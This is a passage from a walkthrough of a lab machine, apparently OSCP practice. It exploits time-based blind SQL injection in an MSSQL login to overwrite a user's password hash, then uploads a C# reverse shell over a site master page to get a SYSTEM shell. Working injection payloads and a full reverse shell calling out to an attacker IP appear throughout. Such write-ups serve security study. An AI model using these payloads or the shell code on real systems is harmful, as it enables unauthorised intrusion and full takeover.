WinRM is open, which can be used for evil-winrm. FTP does not accept anonymous logins, and SMB requires credentials to view.

Web Enumeration -> Blind SQL Injection

Port 450 shows us a basic login:

Default credentials don't work. Attempting any form of SQL Injection shows this:

So this is definitely vulnerable to SQL Injection. I was unable to bypass this login, so I used sqlmap to verify the type of injection we needed to use.

All of the payloads sqlmap used had the WAITFOR DELAY commands, which means we have to exploit time-based Blind SQLI. While I could dump out the entire database (which could take hours), I wanted to exploit it manually (as per OSCP rules, no sqlmap!).

So first, we can use this to verify that we have SQL Injection:

'IF (1=1) WAITFOR DELAY '0:0:10'--

Afterwards, I enumerated some possible usernames, and found that butch was one of them.

'if (select user) = 'butch' waitfor delay '0:0:10'--

Let's now identify the tables that are present within this database.

'; IF ((select count(name) from sys.tables where name = 'users')=1) WAITFOR DELAY '0:0:10';--

The above payload verifies that users is a table within the database. Now we can check for columns.

'; IF ((select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name='users' and c.name = 'username')=1) WAITFOR DELAY '0:0:10';--

However, there is no passwords column present. In all the boxes I've done, the passwords in the databases I found were always hashed. I googled and read a bit more about the typical naming conventions and authentication mechanisms of MSSQL servers, and found this:

This told me that the column name might be password_hash, and we can vertify this using this payload:

'; IF ((select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name='users' and c.name = 'password_hash')=1) WAITFOR DELAY '0:0:10';--

Now that we have verified the existence of a users and password_hash column with a username of butch, we can actually update this column to have any hash we want. Right now, the hash type is unknown, so let's just try a few common hash algorithms like SHA1 and MD5.

$ echo hello | md5sum                                                             
b1946ac92492d2347c6235b4d2611184
$ echo hello | sha1sum
f572d396fae9206628714fb2ce00f72e94f2258f
$ echo hello | sha256sum

I tested all of these using this payload, and then attempted to login with butch:hello.

'; UPDATE users SET password_hash = 'HASH' WHERE username='butch';--

We can then login to view the dashboard:

Gobuster -> C# RCE

I ran a gobuster scan on the web appliation and found a /dev directory:

Seems that the website is written in C#, and the file that we upload replaces the . We need to note that this inherits MyNamespacemaster.MyClassMaster, so our code probably needs to include that. I tested by uploading some random C# files, and it caused the site to no longer work.

This means that this file upload might be overwriting the site.master.cs file within the machine, and we need to upload a reverse shell in C#. I used this C# reverse shell script:

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace MyNamespaceMaster
{
        public partial class MyClassMaster : MasterPage
        {
                static StreamWriter streamWriter;

                protected void Page_Load(object sender, EventArgs e)
                {
                        using(TcpClient client = new TcpClient("192.168.45.153", 445))
                        {
                                using(Stream stream = client.GetStream())
                                {
                                        using(StreamReader rdr = new StreamReader(stream))
                                        {
                                                streamWriter = new StreamWriter(stream);

                                                StringBuilder strInput = new StringBuilder();

                                                Process p = new Process();
                                                p.StartInfo.FileName = "cmd.exe";
                                                p.StartInfo.CreateNoWindow = true;
                                                p.StartInfo.UseShellExecute = false;
                                                p.StartInfo.RedirectStandardOutput = true;
                                                p.StartInfo.RedirectStandardInput = true;
                                                p.StartInfo.RedirectStandardError = true;
                                                p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                                                p.Start();
                                                p.BeginOutputReadLine();

                                                while(true)
                                                {
                                                        strInput.Append(rdr.ReadLine());
                                                        //strInput.Append("\n");
                                                        p.StandardInput.WriteLine(strInput);
                                                        strInput.Remove(0, strInput.Length);
                                                }
                                        }
                                }
                        }
                }

                private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

        }
}

When we upload the file and refresh the page, we get a shell as the SYSTEM user.

Rooted!
